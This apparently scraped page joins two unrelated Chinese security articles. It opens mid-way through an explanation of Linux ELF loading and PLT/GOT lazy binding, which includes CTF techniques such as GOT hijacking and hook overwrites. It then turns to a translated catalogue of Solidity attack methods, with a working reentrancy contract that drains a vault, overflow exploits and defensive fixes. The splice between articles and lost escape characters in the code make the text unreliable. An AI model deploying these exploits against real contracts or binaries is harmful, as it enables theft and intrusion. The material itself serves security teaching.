size = sizeof(struct elf_phdr) * elf_ex->e_phnum;
if (size > ELF_MIN_ALIGN)
goto out;
elf_phdata = kmalloc(size, GFP_KERNEL);
if (!elf_phdata)
goto out;
/* Read in the program headers */
retval = kernel_read(elf_file, elf_ex->e_phoff,
(char *)elf_phdata, size);
if (retval != size) {
err = (retval < 0) ? retval : -EIO;
goto out;
}
/* Success! */
err = 0;
out:
if (err) {
kfree(elf_phdata);
elf_phdata = NULL;
}
return elf_phdata;
}
#### 如果需要动态链接, 则寻找和处理解释器段
for (i = 0; i < loc->elf_ex.e_phnum; i++) {
/* 3.1 检查是否有需要加载的解释器 */
if (elf_ppnt->p_type == PT_INTERP) {
/* This is the program interpreter used for
* shared libraries - for now assume that this
* is an a.out format binary
*/
/* 3.2 根据其位置的p_offset和大小p_filesz把整个"解释器"段的内容读入缓冲区 */
retval = kernel_read(bprm->file, elf_ppnt->p_offset,
elf_interpreter,
elf_ppnt->p_filesz);
if (elf_interpreter[elf_ppnt->p_filesz - 1] != '')
goto out_free_interp;
/* 3.3 通过open_exec()打开解释器文件 */
interpreter = open_exec(elf_interpreter);
/* Get the exec headers
3.4 通过kernel_read()读入解释器的前128个字节，即解释器映像的头部。*/
retval = kernel_read(interpreter, 0,
(void *)&loc->interp_elf_ex,
sizeof(loc->interp_elf_ex));
break;
}
elf_ppnt++;
}
“解释器”段实际上只是一个字符串，即解释器的文件名，如”/lib/ld-linux.so.2”, 或者64位机器上对应的叫做”/lib64/ld-linux-x86-64.so.2”。有了解释器的文件名以后，就通过open_exec()打开这个文件，再通过kernel_read()读入其开关128个字节，即解释器映像的头部
我在自己的Ubuntu18上做一个演示
其中INTERP段标识了我们程序所需要的解释器
#### 检查并读取解释器的程序表头
需要加载解释器, 前面的for循环已经找到了需要的解释器信息elf_interpreter, 解释器同样是一个ELF文件, 因此跟目标可执行程序一样,
我们需要load_elf_phdrs加载解释器的程序头表program header table
/* Some simple consistency checks for the interpreter */
if (elf_interpreter) {
retval = -ELIBBAD;
/* Not an ELF interpreter */
/* Load the interpreter program headers */
interp_elf_phdata = load_elf_phdrs(&loc->interp_elf_ex,
interpreter);
if (!interp_elf_phdata)
goto out_free_dentry;
#### 装入目标程序的段segment
先遍历每个段，找到类型为PT_LOAD的段，检查地址和页面的信息，确定装入地址后，通过elf_map()建立用户空间虚拟地址与目标映像文件中某个连续区间的映射，返回值就是实际映射的起始地址。
for(i = 0, elf_ppnt = elf_phdata;
i < loc->elf_ex.e_phnum; i++, elf_ppnt++) {
/* 5.1 搜索PT_LOAD的段, 这个是需要装入的 */
if (elf_ppnt->p_type != PT_LOAD)
continue;
/* 5.2 检查地址和页面的信息 */
////////////
// ......
///////////
/* 5.3 虚拟地址空间与目标映像文件的映射
确定了装入地址后，
就通过elf_map()建立用户空间虚拟地址空间
与目标映像文件中某个连续区间之间的映射，
其返回值就是实际映射的起始地址 */
error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt,
elf_prot, elf_flags, total_size);
}
#### 填写程序的入口地址
如果需要动态链接，就通过load_elf_interp装入解释器映像,
并把将来进入用户空间的入口地址设置成load_elf_interp()的返回值，即解释器映像的入口地址。
而若不需要装入解释器，那么这个入口地址就是目标映像本身的入口地址
if (elf_interpreter) {
unsigned long interp_map_addr = 0;
elf_entry = load_elf_interp(&loc->interp_elf_ex,
interpreter,
&interp_map_addr,
load_bias, interp_elf_phdata);
/* 入口地址是解释器映像的入口地址 */
} else {
/* 入口地址是目标程序的入口地址 */
elf_entry = loc->elf_ex.e_entry;
}
}
#### 填写目标文件的参数环境变量等必要信息
通过create_elf_tables，为目标映像和解释器准备一些有关的信息，包括argc、envc等，这些信息需要复制到用户空间，使它们在CPU进入解释器或目标映像的程序入口时出现在用户空间堆栈上。
install_exec_creds(bprm);
retval = create_elf_tables(bprm, &loc->elf_ex,
load_addr, interp_load_addr);
if (retval < 0)
goto out;
/* N.B. passed_fileno might not be initialized? */
current->mm->end_code = end_code;
current->mm->start_code = start_code;
current->mm->start_data = start_data;
current->mm->end_data = end_data;
current->mm->start_stack = bprm->p;
#### start_thread宏准备进入新的程序入口
start_thread()这个宏操作会将eip和esp改成新的地址，就使得CPU在返回用户空间时就进入新的程序入口。如果存在解释器映像，那么这就是解释器映像的程序入口，否则就是目标映像的程序入口。那么什么情况下有解释器映像存在，什么情况下没有呢？如果目标映像与各种库的链接是静态链接，因而无需依靠共享库、即动态链接库，那就不需要解释器映像；否则就一定要有解释器映像存在。
## 解释器完成动态链接
前面的工作都是在内核完成的，接下来会回到用户空间。
接下来按照解释器的工作流程进行分析
### 1.解释器检查可执行程序所依赖的共享库
根据上文讲的内核会读取ELF文件头部的INTERP字段，这里面存储着程序所需要的解释器名称
ELF 文件有一个特别的段：
.dynamic，它存放了和动态链接相关的很多信息，比如依赖于哪些共享对象，动态链接符号表的位置，动态链接重定位表的位置，共享对象初始化代码的地址等，动态链接器通过它找到该文件使用的动态链接库。
Linux下可以用ldd命令查看文件所需要的共享库信息
### 2.解释器对程序的外部引用进行重定位
解释器对程序的外部引用进行重定位，并告诉程序其引用的外部变量/函数的地址，此地址位于共享库被加载在内存的区间内。动态链接还有一个延迟定位的特性，即只有在“真正”需要引用符号时才重定位，这对提高程序运行效率有极大帮助。延迟定位有些地方也叫延迟绑定，这个在后面讲PLT和GOT的时候再详细讲。
符号，也就是可执行程序代码段中的变量名、函数名等。重定位是将符号引用与符号定义进行链接的过程，对符号的引用本质是对其在内存中具体地址的引用，所以本质上来说，符号重定位要解决的是当前编译单元如何访问外部符号这个问题。动态链接是在程序运行时对符号进行重定位，也叫运行时重定位（而静态链接则是在编译时进行，也叫链接时重定位）
#### 动态符号表：
为了表示动态链接这些模块之间的符号导入导出关系，ELF专门有个动态符号表.dynsym。它只保存与动态链接相关的符号，对于哪些模块内部的符号，比如模块私有变量则不保存。很多动态链接模块同时拥有.symtab和.dynsym。.symtab保存了所有符号，包含.dynsym中的符号。
对应还有动态符号字符串表.dynstr和为了加快符号查找的符号哈希表。
### 3.延迟绑定
前面已经讲过了动态链接和静态链接的定义。动态链接比静态链接灵活，但牺牲了性能，优点就是二进制文件的体积明显减小了，而动态链接速度慢的主要原因是，动态链接下对于全局和静态数据的访问都要进行复杂的GOT定位，然后间接寻址，对于模块间的调用也要先定位GOT，然后进行间接跳转。
另外，动态链接的链接过程是在运行时完成的，动态链接器会寻找并转载所需要的对象，然后进行符号查找地址重定位等工作。
因为很多函数可能在程序执行完时都不会被用到，比如错误处理函数或一些用户很少用到的功能模块等，那么一开始就把所有函数都链接好实际是一种浪费，因此ELF采用了一种延迟绑定（Lazy
Binding），就是在当函数第一次被用到时才进行绑定（符号查找，重定位等），如果没有用到则不进行绑定。
我使用一个简单的小程序演示一下延迟绑定
#include<stdio.h>
int main()
{
int a;
scanf("%d",&a);
printf("%dn",a);
int b = 1;
printf("%dn",b);
}
gcc -o test a.c
ELF使用PLT（Procedure Linkage Table）的方法来实现延迟绑定，使用一些很精妙的指令序列来完成。
先使用objdump查看二进制的汇编，我们可以看到在scanf,printf位置call指令的操作数明显不是一个函数的地址，这是因为程序还没有运行起来，所有还不知道具体的函数位置，先放一个符号在这里。
那么程序在运行的时候就可以将这里的符号修改成真正的地址，就要用到两个表，存放函数地址的数据表，称为重局偏移表（GOT, Global Offset
Table），而那个额外代码段表，称为程序链接表（PLT，Procedure Link Table）。
我们使用GDB来调试下
这时候程序运行到了scanf函数的位置，这里显示的是scanf_plt这就说明了这其实不是真正的scanf函数地址，而是scanf_plt的地址，那我们看看这个plt里面有什么
简单来说就是两个跳转一个压栈，第一个跳转实质是跳转到了GOT
我们可以看到这个时候GOT里面存的就是PLT跳转时下一条指令的地址，也就是压栈的地址
然后程序跳转到了0x8048300的位置
这里是为了执行_dl_runtime_resolve函数，_dl_runtime_resolve会讲真正的scanf函数的地址写到scanf函数GOT的位置
所以根据上面的分析，程序第一次执行一个函数的时候流程如下
继续向下执行，程序会同样进行延迟绑定第一次执行的printf函数，当我们第二次来到printf函数的时候，情况就会和上面的不同
我们看到GOT表里已经存储了printf函数真正的位置
下面我来说下我在实际调试时遇到的坑
首先我使用的环境是Ubuntu18.04 可以看到下面这个图
如果我直接使用gcc这个命令，程序的保护是全开的，所以就会遇到下面这个情况
第一次执行scanf的时候就会发现GOT里填写的就已经是真正的地址了
所以我在上面的调试中，加入了不开启任何保护的这个命令，就可以验证延迟绑定
gcc -o test -fno-stack-protector -z execstack -no-pie -z norelro -m32 a.c
## CTF 中的延迟绑定考点
### 不开启RELRO
如果没有开启RELRO，就代表我们可以对GOT表进行修改，所以就有了很多常见的攻击方式，比如GOT表劫持，实现的方法可以是触发堆中的漏洞，实现任意地址写任意内容，我们可以将一些函数的GOT表里填写system函数的地址
### 开启RELRO
如果开启了RELRO，GOT表字段就是只读的，我们就不能再用上面的方法，常用的方法是修改malloc_hook或者free_hook，将这两个中的一个修改成one_gadget的地址
## 任意切换程序libc版本
因为在CTF题中，可能有的题是使用glibc2.27有的题是使用2.23还有使用2.26的，不同版本对一些细节是不一样的，有时候这些细节就是考点，比如teache等，但是如果现在只有Ubuntu18的环境，要想同时进行上面那么多版本的调试是很困难的，通常就要搭好几个环境。我在这里介绍一个很方便的方法
GitHub上有一个 gfree-libc的项目
### 安装
1，git clone [email protected]:dsyzy/gfree-libc.git
2，cd gfree-libc
3，sudo sh ./install.sh
### 添加想要源码级别调试的libc版本
build 2.27(2.27可以换成你需要的版本)
这个过程很慢，因为需要在本地编译好整个libc环境，通常要等5-10分钟
### 指定加载版本
gclibc 程序名 libc版本 [指定libc]
其中，指定libc需放在和程序一样目录下
示例
gclibc test 2.24
这样test就加载了libc-2.24版本，并且是libc-2.24版本的源代码
如果需要指定libc，如libc.so,前提你已经知道libc版本
示例
gclibc test 2.24 libc.so
## 参考
* [1] <https://cloud.tencent.com/developer/article/1351964>
* [2] [https://blog.csdn.net/chrisnotfound/article/details/80082289?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2](https://blog.csdn.net/chrisnotfound/article/details/80082289?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2) | 社区文章 |
原文链接：<https://blog.sigmaprime.io/solidity-security.html>
译者：爱上平顶山@慢雾安全团队
校对：keywolf@慢雾安全团队
来源：[《Solidity 安全：已知攻击方法和常见防御模式综合列表》](https://github.com/slowmist/Knowledge-Base/blob/master/solidity-security-comprehensive-list-of-known-attack-vectors-and-common-anti-patterns-chinese.md "Solidity 安全：已知攻击方法和常见防御模式综合列表")
虽然处于起步阶段，但是 Solidity
已被广泛采用，并被用于编译我们今天看到的许多以太坊智能合约中的字节码。相应地，开发者和用户也获得许多严酷的教训，例如发现语言和EVM的细微差别。这篇文章旨在作为一个相对深入和最新的介绍性文章，详述
Solidity 开发人员曾经踩过的坑，避免后续开发者重蹈覆辙。
## 目录
* 重入漏洞
* 漏洞
* 预防技术
* 真实世界的例子：DAO
* 算法上下溢出
* 漏洞
* 预防技术
* 实际示例：PoWHC和批量传输溢出（CVE-2018-10299）
* 意外的Ether
* 漏洞
* 预防技术
* 真实世界的例子：未知
* Delegatecall
* 漏洞
* 预防技术
* 真实世界的例子：Parity Multisig Wallet（Second Hack）
* 默认可见性
* 漏洞
* 预防技术
* 真实案例：Parity MultiSig Wallet（First Hack）
* 函数错误
* 漏洞
* 预防技术
* 真实案例：PRNG合约
* 外部合约引用
* 漏洞
* 预防技术
* 真实的例子：再入蜜罐
* 短地址/参数攻击
* 漏洞
* 预防技术
* 真实世界的例子：未知
* 未检查的CALL返回值
* 漏洞
* 预防技术
* 真实的例子：Etherpot和以太之王
* 条件竞争/非法预先交易
* 漏洞
* 预防技术
* 真实世界的例子：ERC20和Bancor
* 拒绝服务（DOS）
* 漏洞
* 预防技术
* 真实的例子：GovernMental
* 锁定时间戳操作
* 漏洞
* 预防技术
* 真实的例子：GovernMental
* 谨慎构建函数
* 漏洞
* 预防技术
* 真实世界的例子：Rubixi
* 虚拟化存储指针
* 漏洞
* 预防技术
* 真实世界的例子：蜂蜜罐：OpenAddressLottery和CryptoRoulette
* 浮点和数值精度
* 漏洞
* 预防技术
* 真实世界的例子：Ethstick
* tx.origin身份验证
* 漏洞
* 预防技术
* 真实世界的例子：未知
* 以太坊怪异模式
* 无键ether
* 一次性地址
* 有趣的加密相关的hacks/bugs列表
* 参考文献/更多阅读列表
* [Ethereum Wiki - Safety](https://github.com/ethereum/wiki/wiki/Safety)
* [Solidity Docs - Security Considerations](solidity.readthedocs.io/en/latest/security-considerations.html)
* [Consensus - Ethereum Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices)
* [History of Ethereum Security Vulnerabilities, Hacks and Their Fixes](https://applicature.com/blog/history-of-ethereum-security-vulnerabilities-hacks-and-their-fixes)
* [Decentralized Application Security Project (DASP) Top 10 of 2018](http://www.dasp.co/)
* [A Survey of attacks on Ethereum Smart Contracts](https://eprint.iacr.org/2016/1007.pdf)
* [Ethereum Smart Contract Security](https://medium.com/cryptronics/ethereum-smart-contract-security-73b0ede73fa8)
* [Lessons Learnt from the Underhanded Solidity Contest](https://medium.com/@chriseth/lessons-learnt-from-the-underhanded-solidity-contest-8388960e09b1)
## 重入漏洞
以太坊智能合约的特点之一是能够调用和利用其他外部合约的代码。合约通常也处理Ether，因此通常会将Ether发送给各种外部用户地址。调用外部合约或将以太网发送到地址的操作需要合约提交外部调用。这些外部调用可能被攻击者劫持，迫使合约执行进一步的代码（即通过回退函数），包括回调自身。因此代码执行“
重新进入 ”合约。这种攻击被用于臭名昭着的DAO攻击。
有关重入攻击的进一步阅读，请参阅[重入式对智能合约](https://medium.com/@gus_tavo_guim/reentrancy-attack-on-smart-contracts-how-to-identify-the-exploitable-and-an-example-of-an-attack-4470a2d8dfe4)和[Consensus -以太坊智能合约最佳实践](https://consensys.github.io/smart-contract-best-practices/known_attacks/#dos-with-unexpected-revert)。
### 漏洞
当合约将ether发送到未知地址时，可能会发生此攻击。攻击者可以在[fallback函数](https://solidity.readthedocs.io/en/latest/contracts.html?highlight=fallback#fallback-function)中的外部地址处构建一个包含恶意代码的合约。因此，当合约向此地址发送ether时，它将调用恶意代码。通常，恶意代码在易受攻击的合约上执行一项功能，执行开发人员不希望的操作。“重入”这个名称来源于外部恶意合约回复了易受攻击合约的功能，并在易受攻击的合约的任意位置“
重新输入”了代码执行。
为了澄清这一点，请考虑简单易受伤害的合约，该合约充当以太坊保险库，允许存款人每周只提取1个Ether。
EtherStore.sol：
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
该合约有两个公共职能。`depositFunds()`和`withdrawFunds()`。该`depositFunds()`功能只是增加发件人余额。该`withdrawFunds()`功能允许发件人指定要撤回的wei的数量。如果所要求的退出金额小于1Ether并且在上周没有发生撤回，它才会成功。还是呢？...
该漏洞出现在[17]行，我们向用户发送他们所要求的以太数量。考虑一个恶意攻击者创建下列合约，
Attack.sol：
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// intialise the etherStore variable with the contract address
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
// start the magic
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
// fallback function - where the magic happens
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
让我们看看这个恶意合约是如何利用我们的`EtherStore`合约的。攻击者可以`0x0...123`使用`EtherStore`合约地址作为构造函数参数来创建上述合约（假设在地址中）。这将初始化并将公共变量`etherStore`指向我们想要攻击的合约。
然后攻击者会调用这个`pwnEtherStore()`函数，并且有一些以太（大于或等于1），`1
ether`这个例子可以说。在这个例子中，我们假设一些其他用户已经将以太币存入这份合约中，这样它的当前余额就是`10 ether`。然后会发生以下情况：
1. Attack.sol -Line[15] -的`depositFunds()`所述EtherStore合约的功能将与被叫`msg.value`的`1 ether`（和大量gas）。sender（msg.sender）将是我们的恶意合约`（0x0...123）`。因此，`balances[0x0..123] = 1 ether`。
2. Attack.sol - Line [17] - 恶意合约将使用一个参数来调用合约的withdrawFunds()功能。这将通过所有要求（合约的行[12] - [16] ），因为我们以前没有提款。
3. EtherStore.sol - 行[17] - 合约将发送1 ether回恶意合约。
4. Attack.sol - Line [25] - 发送给恶意合约的以太网将执行后备功能。
5. Attack.sol - Line [26] - EtherStore合约的总余额是10 ether，现在9 ether是这样，如果声明通过。
6. Attack.sol - Line [27] - 回退函数然后EtherStore withdrawFunds()再次调用该函数并“ 重新输入 ” EtherStore合约。
7. EtherStore.sol - 行[11] - 在第二次调用时withdrawFunds()，我们的余额仍然1 ether是行[18]尚未执行。因此，我们仍然有balances[0x0..123] = 1 ether。lastWithdrawTime变量也是这种情况。我们再次通过所有要求。
8. EtherStore.sol - 行[17] - 我们撤回另一个1 ether。
9. 步骤4-8将重复 - 直到EtherStore.balance >= 1[26]行所指定的Attack.sol。
10. Attack.sol - Line [26] - 一旦在EtherStore合约中留下少于1（或更少）的ether，此if语句将失败。这样就EtherStore可以执行合约的[18]和[19]行（每次调用withdrawFunds()函数）。
11. EtherStore.sol - 行[18]和[19] - balances和lastWithdrawTime映射将被设置并且执行将结束。
最终的结果是，攻击者已经从EtherStore合约中立即撤销了所有（第1条）以太网，只需一笔交易即可。
### 预防技术
有许多常用技术可以帮助避免智能合约中潜在的重入漏洞。首先是（在可能的情况下）在将ether发送给外部合约时使用内置的[transfer()函数](http://solidity.readthedocs.io/en/latest/units-and-global-variables.html#address-related)。转账功能只发送2300
gas不足以使目的地地址/合约调用另一份合约（即重新输入发送合约）。
第二种技术是确保所有改变状态变量的逻辑发生在ether被发送出合约（或任何外部调用）之前。在这个EtherStore例子中，[18]和[19]行EtherStore.sol应放在行[17]之前。将任何执行外部调用的代码放置在未知地址上作为本地化函数或代码执行中的最后一个操作是一种很好的做法。这被称为[检查效果交互(checks-effects-interactions)](http://solidity.readthedocs.io/en/latest/security-considerations.html#use-the-checks-effects-interactions-pattern)模式。
第三种技术是引入互斥锁。也就是说，要添加一个在代码执行过程中锁定合约的状态变量，阻止重入调用。
应用所有这些技术（所有这三种技术都是不必要的，但是这些技术是为了演示目的而完成的）
EtherStore.sol给出了无再签约合约：
contract EtherStore {
// initialise the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(!reEntrancyMutex);
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
// set the reEntrancy mutex before the external call
reEntrancyMutex = true;
msg.sender.transfer(_weiToWithdraw);
// release the mutex after the external call
reEntrancyMutex = false;
}
}
### 真实的例子：DAO
[DAO](https://en.wikipedia.org/wiki/The_DAO_\(organization\))（分散式自治组织）是以太坊早期发展的主要黑客之一。当时，该合约持有1.5亿美元以上。重入在这次攻击中发挥了重要作用，最终导致了Ethereum
Classic（ETC）的分叉。有关DAO漏洞的详细分析，请参阅[Phil
Daian的文章](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/)。
## 算法上下溢出
以太坊虚拟机（EVM）为整数指定固定大小的数据类型。这意味着一个整型变量只能有一定范围的数字表示。A
uint8例如，只能存储在范围[0,255]的数字。试图存储256到一个uint8将导致0。如果不注意，如果不选中用户输入并执行计算，导致数字超出存储它们的数据类型的范围，则可以利用Solidity中的变量。
要进一步阅读算法上下流程，请参阅[如何保护您的智能合约](https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-1-c33048d4d17d)，[以太坊智能合约最佳实践](https://consensys.github.io/smart-contract-best-practices/known_attacks/#integer-overflow-and-underflow)和[以太坊，可靠性和整数溢出：编程区块链程序
1970年](https://randomoracle.wordpress.com/2018/04/27/ethereum-solidity-and-integer-overflows-programming-blockchains-like-1970/)
### 漏洞
当执行操作需要固定大小的变量来存储超出变量数据类型范围的数字（或数据）时，会发生溢出/不足流量。
例如，1从一个uint8（无符号的8位整数，即只有正数）变量中减去存储0该值的变量将导致该数量255。这是一个下溢。我们已经为该范围下的一个数字分配了一个数字uint8，结果包裹并给出了uint8可以存储的最大数字。同样，加入2^8=256
到a
uint8会使变量保持不变，因为我们已经包裹了整个长度uint（对于数学家来说，这类似于将三角函数的角度加上，）。添加大于数据类型范围的数字称为溢出。为了清楚起见，添加257到一个uint8目前有一个零值将导致数字1。将固定类型变量设为循环有时很有启发意义，如果我们在最大可能存储数字之上添加数字，我们从零开始，反之亦然为零（我们从最大数字开始倒数，从中减去的数字越多）
0）。
这些类型的漏洞允许攻击者滥用代码并创建意外的逻辑流程。例如，请考虑下面的时间锁定合约。
TimeLock.sol：
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() public payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = now + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0);
require(now > lockTime[msg.sender]);
balances[msg.sender] = 0;
msg.sender.transfer(balances[msg.sender]);
}
}
这份合约的设计就像是一个时间保险库，用户可以将Ether存入合约，并在那里锁定至少一周。如果用户选择的话，用户可以延长超过1周的时间，但是一旦存放，用户可以确信他们的Ether被安全锁定至少一周。或者他们可以吗？...
如果用户被迫交出他们的私钥（认为是人质情况），像这样的合约可能很方便，以确保在短时间内无法获得Ether。如果用户已经锁定了100
ether合约并将其密钥交给了攻击者，那么攻击者可以使用溢出来接收以太网，无论如何lockTime。
攻击者可以确定lockTime他们现在拥有密钥的地址（它是一个公共变量）。我们称之为userLockTime。然后他们可以调用该increaseLockTime函数并将该数字作为参数传递2^256
-userLockTime。该号码将被添加到当前userLockTime并导致溢出，重置lockTime[msg.sender]为0。攻击者然后可以简单地调用withdraw函数来获得他们的奖励。
我们来看另一个例子，来自[Ethernaut
Challanges](https://github.com/OpenZeppelin/ethernaut)的这个例子。
SPOILER ALERT： 如果你还没有完成Ethernaut的挑战，这可以解决其中一个难题。
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
这是一个简单的令牌合约，它使用一个transfer()功能，允许参与者移动他们的令牌。你能看到这份合约中的错误吗？
缺陷出现在transfer()功能中。行[13]上的require语句可以使用下溢来绕过。考虑一个没有平衡的用户。他们可以transfer()用任何非零值调用函数，_value并在行[13]上传递require语句。这是因为balances[msg.sender]
零（和a
uint256）因此减去任何正数（不包括2^256）将导致正数，这是由于我们上面描述的下溢。对于[14]行也是如此，我们的余额将记入正数。因此，在这个例子中，我们由于下溢漏洞而实现了自由标记。
### 预防技术
防止溢出漏洞的（当前）常规技术是使用或建立取代标准数学运算符的数学库; 加法，减法和乘法（划分被排除，因为它不会导致过量/不足流量，并且EVM将被0除法）。
[OppenZepplin](https://github.com/OpenZeppelin/zeppelin-solidity)在构建和审计Ethereum社区可以利用的安全库方面做得非常出色。特别是，他们的[SafeMath](https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol)是一个参考或库，用来避免漏洞/溢出漏洞。
为了演示如何在Solidity中使用这些库，让我们TimeLock使用Open Zepplin的SafeMath库更正合约。超自由合约将变为：
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TimeLock {
using SafeMath for uint; // use the library for uint type
mapping(address => uint256) public balances;
mapping(address => uint256) public lockTime;
function deposit() public payable {
balances[msg.sender] = balances[msg.sender].add(msg.value);
lockTime[msg.sender] = now.add(1 weeks);
}
function increaseLockTime(uint256 _secondsToIncrease) public {
lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
}
function withdraw() public {
require(balances[msg.sender] > 0);
require(now > lockTime[msg.sender]);
balances[msg.sender] = 0;
msg.sender.transfer(balances[msg.sender]);
}
}
请注意，所有标准的数学运算已被SafeMath库中定义的数学运算所取代。该TimeLock合约不再执行任何能够进行一个 向下/越界的操作。
###
实际示例：PoWHC和批量传输溢出（[CVE-2018-10299](https://nvd.nist.gov/vuln/detail/CVE-2018-10299)）
一个4chan小组决定用Solidity编写一个在Ethereum上构建庞氏骗局的好主意。他们称它为弱手硬币证明（PoWHC）。不幸的是，似乎合约的作者之前没有看到过/不足的流量，因此，866Ether从合约中解放出来。在[Eric
Banisadar的文章](https://blog.goodaudience.com/how-800k-evaporated-from-the-powh-coin-ponzi-scheme-overnight-1b025c33b530)中，我们很好地概述了下溢是如何发生的（这与上面的Ethernaut挑战不太相似）。
一些开发人员还batchTransfer()为一些[ERC20](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md)令牌合约实施了一项功能。该实现包含溢出。[这篇文章](https://medium.com/@peckshield/alert-new-batchoverflow-bug-in-multiple-erc20-smart-contracts-cve-2018-10299-511067db6536)对此进行了解释，但是我认为标题有误导性，因为它与ERC20标准无关，而是一些ERC20令牌合约batchTransfer()实施了易受攻击的功能。
## 意外的Ether
通常，当Ether发送到合约时，它必须执行回退功能或合约中描述的其他功能。这有两个例外，其中ether可以存在于合约中而不执行任何代码。依赖代码执行的合约发送给合约的每个以太可能容易受到强制发送给合约的攻击。
关于这方面的进一步阅读，请参阅[如何保护您的智能合约：6](https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-2-730db0aa4834)和[Solidity security patterns - forcing ether to a
contract](http://danielszego.blogspot.com.au/2018/03/solidity-security-patterns-forcing.html)
### 漏洞
一种常用的防御性编程技术对于执行正确的状态转换或验证操作很有用，它是不变检查。该技术涉及定义一组不变量（不应改变的度量或参数），并且在单个（或多个）操作之后检查这些不变量保持不变。这通常是很好的设计，只要检查的不变量实际上是不变量。不变量的一个例子是totalSupply固定发行[ERC20](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md)令牌。由于没有函数应该修改此不变量，因此可以在该transfer()函数中添加一个检查以确保totalSupply保持未修改状态，以确保函数按预期工作。
不管智能合约中规定的规则如何，特别是有一个明显的“不变”，可能会诱使开发人员使用，但事实上可以由外部用户操纵。这是合约中存储的当前以太。通常，当开发人员首先学习Solidity时，他们有一种误解，认为合约只能通过付费功能接受或获得以太。这种误解可能会导致合约对其内部的以太平衡有错误的假设，这会导致一系列的漏洞。此漏洞的吸烟枪是（不正确）使用this.balance。正如我们将看到的，错误的使用this.balance会导致这种类型的严重漏洞。
有两种方式可以将ether（强制）发送给合约，而无需使用payable函数或执行合约中的任何代码。这些在下面列出。
#### 自毁/自杀
任何合约都能够实现该[selfdestruct(address)](http://solidity.readthedocs.io/en/latest/introduction-to-smart-contracts.html#self-destruct)功能，该功能从合约地址中删除所有字节码，并将所有存储在那里的ether发送到参数指定的地址。如果此指定的地址也是合约，则不会调用任何功能（包括故障预置）。因此，selfdestruct()无论合约中可能存在的任何代码，该功能都可以用来强制将Ether
发送给任何合约。这包括没有任何应付功能的合约。这意味着，任何攻击者都可以与某个selfdestruct()功能创建合约，向其发送以太，致电selfdestruct(target)并强制将以太网发送至target合约。Martin
Swende有一篇出色的[博客文章](http://martin.swende.se/blog/Ethereum_quirks_and_vulns.html)描述了自毁操作码（Quirk＃2）的一些怪癖，并描述了客户端节点如何检查不正确的不变量，这可能会导致相当灾难性的客户端问题。
#### 预先发送Ether
合约可以不使用selfdestruct()函数或调用任何应付函数就可以获得以太的第二种方式是使用ether
预装合约地址。合约地址是确定性的，实际上地址是根据创建合约的地址的哈希值和创建合约的事务现时值计算得出的。即形式：（address =
sha3(rlp.encode([account_address,transaction_nonce]))请参阅[Keyless
Ether](https://github.com/sigp/solidity-security-blog#keyless-eth)的一些有趣的使用情况）。这意味着，任何人都可以在创建合约地址之前计算出合约地址，并将Ether发送到该地址。当合约确实创建时，它将具有非零的Ether余额。
